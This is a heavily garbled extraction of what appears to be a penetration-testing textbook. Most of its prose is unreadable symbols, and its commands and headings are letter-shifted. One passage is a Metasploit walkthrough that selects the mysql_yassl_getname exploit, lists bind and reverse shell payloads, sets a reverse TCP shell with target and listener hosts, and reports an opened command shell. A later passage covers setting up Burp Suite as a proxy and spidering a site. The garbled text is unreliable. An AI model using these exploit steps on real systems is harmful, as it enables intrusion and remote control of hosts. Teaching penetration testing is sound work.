ȱ ǻ ȱ Ǽǯȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ¢ȱ ȱ ¡ǰ
ȱ ȱȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ǯ
ȱ ȱ ȱ ȬȬȬȱ ¡ǰȱ ȱ ȱ ȱ ȱ ȱ¡ȱ ȱ
¡ǯ
ȱ ȱ ȱ ¡ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ǰȱ
ȱǵ
8VH
ȱ ¢Ȃȱ ȱ ȱ ȱ ȱ ¡ȱȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢ȱǰȱ¢ȱȱȱȱ¢ȱȱȱ ȱȱǯ
XVHH[SORLWOLQX[P\VTOP\VTOB\DVVOBJHWQDPH
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ¡
¢ǯ
PVIH[SORLWP\VTOB\DVVOBJHWQDPH!
ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱǷ
6KRZ3D\ORDGV
ȱ ȱ¢ȱȱ¢ȱȱȱȱ¢ȱȱ¢ȱȱȱ
ȱ ȱ ȱ ¢ěȱ ȱ ȱ ¡ȱ ¢ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱȱȱ ȱȱȱ¡ǯ
&RPSDWLEOH3D\ORDGV
1DPH'LVFORVXUH'DWH5DQN'HVFULSWLRQ
JHQHULFFXVWRPQRUPDO&XVWRP3D\ORDG
JHQHULFGHEXJBWUDSQRUPDO*HQHULF['HEXJ7UDS
JHQHULFVKHOOBELQGBWFSQRUPDO*HQHULF&RPPDQG6KHOO%LQG7&3,QOLQH
JHQHULFVKHOOBUHYHUVHBWFSQRUPDO*HQHULF&RPPDQG6KHOO5HYHUVH7&3,QOLQH
JHQHULFWLJKWBORRSQRUPDO*HQHULF[7LJKW/RRS
OLQX[[DGGXVHUQRUPDO/LQX[$GG8VHU
OLQX[[FKPRGQRUPDO/LQX[&KPRG
OLQX[[H[HFQRUPDO/LQX[([HFXWH&RPPDQG
OLQX[[PHWHUSUHWHUELQGBLSYBWFS QRUPDO /LQX[ 0HWHUSUHWHU %LQG 7&3 6WDJHU
,3Y
OLQX[[PHWHUSUHWHUELQGBWFSQRUPDO/LQX[0HWHUSUHWHU%LQG7&36WDJHU
OLQX[[PHWHUSUHWHUUHYHUVHBLSYBWFS QRUPDO /LQX[ 0HWHUSUHWHU 5HYHUVH 7&3
6WDJHU,3Y
OLQX[[PHWHUSUHWHUUHYHUVHBWFSQRUPDO/LQX[0HWHUSUHWHU5HYHUVH7&36WDJHU
OLQX[[PHWVYFBELQGBWFSQRUPDO/LQX[0HWHUSUHWHU6HUYLFH%LQG7&3
OLQX[[PHWVYFBUHYHUVHBWFS QRUPDO /LQX[ 0HWHUSUHWHU 6HUYLFH 5HYHUVH 7&3
,QOLQH
OLQX[[VKHOOELQGBLSYBWFS QRUPDO /LQX[ &RPPDQG 6KHOO %LQG 7&3 6WDJHU
,3Y
OLQX[[VKHOOELQGBWFSQRUPDO/LQX[&RPPDQG6KHOO%LQG7&36WDJHU
OLQX[[VKHOOUHYHUVHBLSYBWFS QRUPDO /LQX[ &RPPDQG 6KHOO 5HYHUVH 7&3
6WDJHU,3Y
OLQX[[VKHOOUHYHUVHBWFSQRUPDO/LQX[&RPPDQG6KHOO5HYHUVH7&36WDJHU
OLQX[[VKHOOBELQGBLSYBWFS QRUPDO /LQX[ &RPPDQG 6KHOO %LQG 7&3 ,QOLQH
,3Y
OLQX[[VKHOOBELQGBWFSQRUPDO/LQX[&RPPDQG6KHOO%LQG7&3,QOLQH
OLQX[[VKHOOBUHYHUVHBWFSQRUPDO/LQX[&RPPDQG6KHOO5HYHUVH7&3,QOLQH
OLQX[[VKHOOBUHYHUVHBWFS QRUPDO /LQX[ &RPPDQG 6KHOO 5HYHUVH 7&3 0HWDVP
GHPR
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ Ȃȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱǯȱ Ȃȱ ¢ȱ ęDzȱ ȱ ȱ Ĵȱ
¡ȱȱȱ ȱȱ¢ȱȱ ȱȱǯ
ȱ ȱ¢ȱȱȱȱ ȱȱȱȱ¢Ƿ
6HW3D\ORDG
ȱȱ¢ȱ ȱ ȱ¢ȱȱȱ ȱ¢ȱ¡ȱȱ¢ǰȱȂ
ȱȱȱȱ¢ȱǯȱ ȱȱ ȱǰȱ ȱȱȱȱȱ
ȱ¢ȱȱ ȱ ȱȱȱȱȱȱȱȱǯȱȱ
ȱȱȱȱȱ¡ȱȱȱȂȱȱ¢ȱȱȱȱ¢ȱ
ȱ¢ǯȱȱȱȱ¢ȱ ȱȱȱ¢ȱǯ
VHWSD\ORDGJHQHULFVKHOOBUHYHUVHBWFS
ȱ ȱȱȱ ȱęȱȱȱȱȱȱȱ
¢ȱȱȱ¡ȱ¢ǯ
SD\ORDG !JHQHULFVKHOOBUHYHUVHBWFS
PVIH[SORLWP\VTOB\DVVOBJHWQDPH!
ȱȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ěȱ ȱ ȱ
ȱǯȱǻ ȱ¢ȱȂȱȱ¢ȱ ǰȱ Ȃȱȱȱȱȱǯȱ
ȱ ȱȱȱȱ¢ȱȱȱǷǼ
6KRZ2SWLRQV
ȱ ¡ȱ ȱ ¢ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱǰȱ ȱȱȱȱȱ ȱȱȱȱȱȱ
ȱĴȱǯȱȱȱȱȱ ȱȱȱȱȱǻ
Ǽǰȱ
ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻ
Ǽǯȱ ȱ ȱȱ
ȱȱ ȱȱȱȱȱ¡ȱȱ¢ǯ
0RGXOHRSWLRQVH[SORLWOLQX[P\VTOP\VTOB\DVVOBJHWQDPH
1DPH&XUUHQW6HWWLQJ5HTXLUHG'HVFULSWLRQ
5+267\HV7KHWDUJHWDGGUHVV
53257\HV7KHWDUJHWSRUW
3D\ORDGRSWLRQVJHQHULFVKHOOBUHYHUVHBWFS
1DPH&XUUHQW6HWWLQJ5HTXLUHG'HVFULSWLRQ
/+267\HV7KHOLVWHQDGGUHVV
/3257\HV7KHOLVWHQSRUW
ȱȱ ȱȱȱȱȱȱȱDZȱ
ȱȱǯȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱǰȱȱȱȱȱřřŖŜǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ DZȱ
ȱ ȱǯȱ
ȱȱȱȱȱ
ȱȱȱ¢ǰȱȱȱȱȱȱȱȱȱ¢ȱ
ǰȱȱȱȱȱȱŚŚŚŚǯ
ȱ ȱȱȱȱȱȱ ȱȱ ȱȱȱ
ȱȱȱȱǯȱȱȱȱȱȱȱ¢ǰȱȱȱ¢ǰ
ȱ ȱȱȱȱȱȱȱȱȱȱǯ
6HW2SWLRQ
ȱȱȱȱȱȱȱȱȱȱ¡ȱȱ¢ȱȱȱȱ
¢ȱǯȱ ȱ¢ȱȱ¢ȱȱȱǰȱ¢ȱ¡ȱ ȱȱȱȱȂȱ
ȱ¢ȱȱȱ¢ȱǯȱȱ ȱȱĴȱȱȱ
ȱ ȱ
ȱ ȱŗŘŝǯŖǯŖǯŗȱ ȱ ȱ ȱ ȱ Ȭȱ ǯȱ ȱ ȱ
Ĵǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ěǯȱ ȱ
ȱ ȱ
ȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱȱ
ŗŘŝǯŖǯŖǯŗȱ ȱȱ
ȱ ŗŘŝǯŖǯŖǯŗȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯ
VHW5+267
5+267 !
VHW/+267
/+267 !
ȱȱȱȱ ȱȱȱȱȱȱ¢ȱȱȱ¢
ȱȱǯ
0RGXOHRSWLRQVH[SORLWOLQX[P\VTOP\VTOB\DVVOBJHWQDPH
1DPH&XUUHQW6HWWLQJ5HTXLUHG'HVFULSWLRQ
5+267\HV7KHWDUJHWDGGUHVV
53257\HV7KHWDUJHWSRUW
3D\ORDGRSWLRQVJHQHULFVKHOOBUHYHUVHBWFS
1DPH&XUUHQW6HWWLQJ5HTXLUHG'HVFULSWLRQ
/+267\HV7KHOLVWHQDGGUHVV
/3257\HV7KHOLVWHQSRUW
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱ¡ȱȱȱ¢ǯ
ȱȱȱǷ
ȱȱȱȱȱȱȱ ȱ ȱȱǰȱȱŞȞ
ȱȱǰȱȱȱřȬ¢ȱȱȱȱȱǯ
([SORLW
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ǰȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ¢ȱ ȱ ȱ¡ȱ
ȱȱ¡ȱ ȱȱȱȱȱȱǯȱ ȱ¢ȱ¡ȱȱǰȱ¢ȱ ȱ
ȱ ȱęȱȱȱȱ ȱȱ¢ȱȱȱȱȱȱ
ȱȱǯ
&RPPDQGVKHOOVHVVLRQRSHQHG!
ȱ¡ȱȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱȱ Ȭȱ ŗȱ ǯȱ ȱ
ȱȱȱȱ¢DzȱȂȱȱ¢ȱȱĴȱȱȱ¢ǯȱȱ
ȱȱȱȱ¢ȱȱȱȱǯ
ȱ ¢ȱ ȱ ȱ ȱ ȃ ȱ ȱ Ȅȱ ȱ ȃȱ ȱ Ȅȱ ǰȱ
ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ¢ ȱ ȱ ȱ ¢
ȱ ǯȱ ȱ ęȱ ¡ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
¢ ȱ ȱ ȱ ȱ ęȱ ȱ ęǯȱ ȱ ȱ ȱ ȱ
¡ȱ ęȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
¡ǰȱȱȱDZȦȦǯ¢ǯȦȦȦśǯŗȦȦȬ
Ȭǯǯȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ¢ ȱ ǰȱ ȱ ¡
ȱȱȱȱȱȱ¢ȱǯȱ ȱǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ Ĵȱ ȱ ¢Ȃȱ ȱ
Ƿ
ȱȱȱȱ ȱȱȱȱȱȱȱ ȱȱ
ȱȱȱȱȱȱȱȱȱǯȱȱȱȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZȦȦ ǯȬ¢ǯȦȬȦǯȱȱ ȱ
ȱ ȱȱȱȱȱȱ ȱȱȱȱǻȱĴȱȱȱ
Ǽǯ
0DLQWDLQLQJ$FFHVV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȧȱ ȱ
ȱȱȱȱ¡ȱȱȱȱȱȱȱȱȱȱȱ
ȱ ȱȱȱ¡ȱȱǯȱ ȱȱȱȱȱȱ¡ȱǷȱ
Ȃȱȱȱȱȱȱȱȱ
ȱǰȱȱȱȱǯȱ
ȱ ȱ ǰȱ ǰȱ ǰȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¢ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱǯȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ Ě¡¢ȱ ȱ Ĵȱ ǰ
ęǰȱȱȱ ȱȱ ȱȱǯȱȱ
ȱȱȱȱęȱȱȱȱȱȱ¡ȱȱ¢ȱȱȱ
ȱȱȱȱȱȱȱ ȱȱĴȱȱ¡ȱȱ
¢ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ¡ȱ ȱ ȱ ȱ Ĵȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ Ĝǯȱ ȱ ȱ ¡ȱȱ ¡ȱ ȱ ȱ ǰȱ ȱ
¡ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¡ǰȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ǰȱ ¢ȱ ¢
ȱȱ ȱǯȱȱȱȱȱȱȱȱȱȱǷ
& + $3 7 ( 5
ȱȱȱȱ
&KDSWHU5XQGRZQ
Ŷȱȱȱ¢ȱ ȱȱ ȱ¡¢
Ŷȱ¢ȱȱȱȱȱ ȱȂȱȬȱ
Ŷȱȱ ȱȱDZȱȱȱ ȱȱȱ¢
Ŷȱȱȱǭȱȱȱ ȱȱ
Ŷȱȱ ȱȱȱ¡¢ȱǻǼȱȱȱ
,QWURGXFWLRQ
ȱȱȱȱȱȱȱ ȱȱ ȱȱȱ
ȱ ȱ ȱ ǻǰȱ ęǰȱ ǰȱ ǰȱ ǰȱ ǯǼȱ ȱ ȱ ȱ ȱ
ǯȱȱȱ¢ȱȱȱȱȱȱ ȱȱȱȱ
ȱ¡ȱȱȱȱǯ
ȱ ȱȱȱȱȱ¢ȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ¢
ȱȱȱȱ ȱȱȱȱȂȱȱȱ ȱęȱȱ¢ȱ
ȱȱȱǯȱȱȱȱȱ ȱȱȱȱȱDZ
Ŷȱȱȱ¡¢ȱȱȱ¢ȱ
Ȧȱȱȱȱȱ ȱ
¢ȱȱȱ¢ȱȱ ȱ
Ŷȱȱȱȱȱȱȱȱȱȱ ȱȱȱ ȱȂȱ
ȱ¢ȱȱȱȬȱȱȱȱ¢ȱȱ
Ŷȱȱ¢ȱȱȱȱ ȱȱȱȱȱȱ
ȱȱ
Ŷȱȱȱȱȱȱȱ¢ȱȱȱȱ ȱȱ
ȱȱȱȱ
Ŷȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱ¢ȱȱ
:HE$SSOLFDWLRQ5HFRQ
ȱȱ¢ȱ ¢ȱȱȱȱȱ ȱȱȱȱȱęȱȱȱ
ǯȱǰȱȱȱȱȱȱȱȃ¢ȱȱ ȱȱ
Ȅȱȱȱȱȱȱȱȱȱȱȱ¡ǰȱ ȱȱ
ȱDZ
Ŷȱȱȱ¢ȱȱǻ
ȱȱȱȱȱȱǰȱȱǰ
Ȭ ȱ¡ǰȱȱȱȱǼ
Ŷȱȱ
ȱǰȱ
ȱǰȱȱȱ¢ȱ
Ŷȱȱȱȱȱ¢ȱȱȱȱ ȱȱȱȱ
ȱ
ŶȱȱȬȱ
ȱȱȱ¢ȱ
Ŷȱ¢ȱȱȱǻǼȱ
¢ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢Ȃȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ ȱǰȱȱ¢ȱȱȱǰȱǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ¢
ȱȱȱȱȱ ȱǯȱȱ Ȃȱȱȱȱȱȱȱ
Dzȱ ǰȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¡ȱ
¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰ
ȱ ȱ ȱ ęȱ ȱ ȱ ¢ȱ ȱ ¢ǰȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ ȱȱȱȱȱȱ ¢ȱȱ ȱę
ȱȱȱ ȱǯ
%DVLFV2I$:HE3UR[\
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ę
ȱȱ¢ȱȬȱȱȱȱȱȱęȱȱ¡¢ȱȱȱ ȱ¢ȱ ǯȱ Ȃȱ
ȱȱȱȱȱǰȱȱȱȱ¢ȱȱȱȱȱȱ
¡¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ǰȱ Ȃȱ ęȱ
ȱ ȱ ȱ ȱ ǻǼȱ ȱ ȱ ȱ ȱ ǻǼȱ ȱ ȱ
ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱȱȱȱȱȱ ǯȱȱ¢ȱ¢ȱȱȱ
ȱ ȱ ǯȱ ȱ ¡¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
¢ȱ ȱȱȱȱ ȱȱ ȱȱȱ ȱȱȱ
ȱ ȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱřǯŗǯ
Request
Proxy
Response
Browser Web application
(client) (server)
),*85( $SUR[\DVSDUWRIWKHUHTXHVWDQGUHVSRQVHF\FOHEHWZHHQDEURZVHUDQGZHEDSSOLFDWLRQ
ȱ ¢Ȃȱ ęȱ ¢ȱ ¡¢ǰȱ ¢Ȃȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¡ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ¡¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǻǼȱ ȱ ȱ
ȱȱȱȱȱȱǯȱȱȱȱȱȱȱ
ȱȱ¢ǰȱȱȱȱ ȱȱ¢ȱȱȱȱȱȱȱ
ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃ
¢ǯ
%XUS6XLWH
ȱȱǰȱ Ȃȱȱȱ ȱ ȱǻȱȱȱȱǼȱȱȱ¡¢ȱȱ
ȱ ¢ȱ ȱȱȱȱȱȱȬȱ ȱȱȱǯȱȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯ
ȱ ȱȱȱȱǰȱȱȱȱȱȱȱ ȱȱ
ȱ ȱ Ȭȱ ęǰȱ ȱ ȱ ǯ ǯǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱ ĺȱȱȱ ĺȱ ¢ȱ ȱ ĺȱ
ȱ ȱ ĺȱȱ ȱ ¡ȱ ĺȱȱ ȱ ȱ ȱ
řǯŘǯ
HXl I
• intwnrt
M CHTlffi
-
j!
0 EtÿOlJ'iwTiMlS
WsbAwucaltori teraiment L
iti CWSV nenl lily JoHUIuelon
m ' - if r1.: r'.t il -rr-j- A' [ t ’J’, l*W> AocfkOtJon fitrrerj
W . Sw*! (ÿ Wfco IjT ftcyvst Engineering R£ AFpiirnliOn S335 t; hrrpwHf1
),*85( 2SHQLQJ%XUS6XLWHLQ%DFN7UDFN
ȱ ȱ¢ȱȱȱ ȱȱȱȱȱęȱǰȱȱȱȱȱ¢ȱȂȱ
ȱǯȱ ȱȱ¢ȱȱȱǰȱ¢ȱ¢ȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ǻ Ǽǯȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱ ȱ¢ȱȱęȱȱȱȱ ȱȱȱȱ
ȱȱ ǰȱȱȱȱȱǯ
&RQILJXULQJ%XUS3UR[\
ȱȱȱȱȱ
Ȧ ȱȱȱȱȱ¢ȱȱ ǰȱ¢ȱȱ
ȱ¢ȱ ȱȱȱȱ¡¢ǯ
ŗǯȱȱ¡ȱǻȱȱȱĺȱȱǼȱȱ
ȱĺȱ
Řǯȱȱȱȱȱȱȱȱȱȱ¡ȱȱ¡
řǯȱȱȱ ȱȱȱȱȱȱȱ ȱȱȱřǯř
Connection
Configure how firefox connects to the internet Settings ...
),*85( &RQILJXULQJ)LUHIR[WRXVHDSUR[\IRU,QWHUQHWFRPPXQLFDWLRQV
Śǯȱȱȱȱ¡¢ȱȱȱȱȱȱŗŘŝǯŖǯŖǯŗȱȱ
ȱ¡¢ȱȱ¡
śǯȱȱŞŖŞŖȱȱȱȱȱ¡
Ŝǯȱȱȱȱ¡¢ȱȱȱ¡ǰȱȱȱȱȱȱ
ȱřǯŚǰȱȱȱ
* connection settings
configure Proxies to Access the internet
O No proxy
O Auto detect proxy settings for this network
O iise system proxy settings
O Manual proxy configuration:
HTTP Proxy: 127.0.0.1 Port: SOSO *
Help cancel OK
),*85( 6HWWLQJ%XUS6XLWH¶VFRQILJXUDWLRQGHWDLOVLQ)LUHIR[
ŝǯȱȱȱ¡ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ŞŖŞŖǰȱ ȱ ¡ȱ ¢ȱ ȱ ȱ ěȱ
ǯȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱěȱ¡¢ǯ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȃ ȱ ¡¢ȱ Ȅȱ ȱ ¡ȱ ȱ
ȱ ȱ ȱǯȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ Ȃ
ȱȱȱȱȱȱȱȱȃȱ¡¢ȱȄȱ¡¡ǯ
6SLGHULQJ:LWK%XUS
ȱȱȱ ȱȱęȱȱȱȱȱȱ¡¢ǰȱ ȱȱȱȱȱ
ȱ ȱǯȱȱȱȱȱȱȱ¢ȱ ȱǰȱȱȂȱȱ
ȱȱȱȱȱȱȱȱȱ ȱȱȱ ȱȱȱ¡
¡ǯ
ȱȱȱȱȱ¡ȱȱȱȱȱ ȱȱȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęǰȱ ȱ ȱ ȱ
ȱȱ¢ȱǯ
$XWRPDWHG6SLGHULQJ
ȱȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ęȱ ȱ ȱ ǰȱ
ǰȱȱȱ¢ȱ ȱȱ ȱȱęȱȯȱȱȱ
ȱ ȱ ȱ ȱ ȱ ěǰȱ ȱ ȱ ǰȱ ȱ ȱ ęǰȱ ȱ ǯ
ȱȱȱ¢ȱȱȱ ȱȱȱȱȱȱȱȱ
ȱȱȱȱǯȱȱȱȱȱȱȱ¢ȱȱ
ȱȱȱȱ ȱȱ¢ȱȱȱȱǰȱȱȱ¢ǯ
ȱȱęȱ ȱǯȱ Ĵȱ ȱȱ¢ȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱ ȱȱȱȱȱǯȱȱȱȬ
ȱ ȱȱ ȱȱȱĚ¡ȱȱȱȱȱȱ ȱȱ
ȱȱȱȱ¢ȱȱȱȱȱ ȱǯ
0DQXDO6SLGHULQJ
ȱ ǰȱ ȱ ȱ ȱȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱǯȱ Ȃȱȱȱ ȱ ȱ
¡¢ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ
¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
Dzȱ¢ǰȱȱȱȱȱȱȱȱȱ ȱ ȱȱǯ
5XQQLQJ%XUS6SLGHU
ȱȱȱȱ¢ȱȱȱȱǰȱ ȱȱǯ
ŗǯȱȱȱȱȱȱȱȱȱȱȱȱȂȱȱȱ¢ǯ
Řǯȱȱ¡ȱȱȱȱ¡¢ȱȱȱȱȱȱȱȱȱȂȱ
¢ǯ
řǯȱ ȱȱ¡ȱȱȱȱȱȱȱDZȦȦŗŘŝǯŖǯŖǯŗȦǯǯ
ȱ ȱ¡¢ȱȱęȱȱȱȱȱ¢ȱǯȱȱ
¢ȱȱ ȱȱȱ Ȃȱȱ¢ǯȱȱȱȱěǰȱȱȱ
¡¢ȱ ȱ ȱ ǰȱ ȱ ȱȱ Ȭǰȱ ȱ ȱ ȱ ȃȱ ȱ Ȅ
Ĵȱ ȱ ȱ ȱ ěǯȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ
ȱǰȱȱȱ ǰȱ¢ȱȱȱȱěǯȱȱ ȱȱ ȱ
ȱȱǻȱȱǼǰȱȱ¢ȱ ȱ ȱȱȱȱȱȱ¢ȱǷ
Śǯȱȱȱȱ ȱȱȱ ǯ
ȱȱ ȱȱ¢ȱȱȱ¢ȱȱȱ ȱȱȱȱȱ
ȱ ȱǯȱȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱ ¢ȱ ȱ ȱ ȱȱ ȱ ȱȱȱ Ȭȱ ȱ ȱ ȱ
řǯśǯ
IJHMM ! _I P4»V*W
*•
* ti-z-J. eJc
1
W*>#
ncWiphp
#nAnjcl>HTk pÿp
•*ÿ a} »»*v<F-e**
j'HJfJiP' JtrM-m
),*85( 6LWHPDSLQ%XUS6XLWH
ȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱěȱȱǯȱ ȱ¢
ȱ ȱ ȱ ȱ ǻȱ ȱ Ǽȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ ¡ǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱǰȱȱ ȂȱȱŗŘŝǯŖǯŖǯŗȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȬȱȱȱȱȱȱȱ ȱȱȱřǯŜǯȱȱȱȱȬȱ
ȱȱȱȱȱǻŗŘŝǯŖǯŖǯŗǼǰȱȱȱȱȱ ȱȱȱȱȱǯ
!
Wl «rv4ar .k,-4a#, -a-Ji-
liTj* ]
-»
m -ipfÿa*
m
'
__ '
' rtfinh"
-
-rs_ .
M!p >n JT.D.BLS L
Jirr.4Lfi.ij
+.«(.»* is
i itu FW
;
i
),*85( $GGLQJLWHPWR%XUS6XLWHVFRSH
ȱȱȱȱ ȱȱ ȱȱȱȱȱȱȱȱ¢ȱǯ
ȱ ȱ¢ȱȱǰȱȱȱȱȬȱȱȱȱǯȱ ȱ¢ȱĴȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ęȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱȱȱȱǯȱȱȱȱȱ¢ȱȱ¢ȱȱȱȱȱ
ȱ ȱ ȱ ȱ ¢ȱ ¢ǯȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ¢ȱ
¢ȱȱ ȱȱȱȱȱ¢ȱȱȱ¢ȱȱǯ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ
ȱȱȱȱȱȱȱ ȱȱ¢ǯȱȱȱȱȱȱȱ
ȱȱȱ¢ȱȱȱǯȱȱȱȱǰȱȱȱȱ
ȱȱȱȱȱȱȱȱǰȱĴȱȱȱǰȱȱ
ǯȱȱȱȱȱȱ¢ȱȱȱȱǯȱȱȱȱȱȂ
ȱęȱȱȱȱȱȱȱ ȱȱȱȱȱȱǯȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
¢Dzȱȱȱȱȱ ȱǯ
ȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ¢ȱ
ȱȱȱȱ¢ȱȱ¡¢ǯȱȱȱȱȱȱřǯśȱȱȱȱȱȱ
ǰȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ǰȱ ¡ǯǰȱ ǯǰ
ǯǰȱ ȱǯǯȱ ȱȱȱ¢ȱȱȱȱȱȱ¢ȱȱ
ȱ ȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱ ǯ
¢ȱǰȱȱ ȱ ȱ¢ȱȱȱ
ȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ęǯȱ ȱ ȱ ǻǼȱ ȱ ȱ ȱ ȱ
ȱȱ ȱȱȱȱȱȱǯȱ ȱ¢ȱ ȱȱȱ ȱǰ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱŗŘŝǯŖǯŖǯŗȱ ¢ȱ ȱ ¡
ȱȱȱȱȱ¢ȱ ǯȱ ȱ¡ȱȱȱȱȱ
ǯǯǯȱȱ ǯǯȱȱȱȱȱ ȱȱȱ¢ȱȱǯ
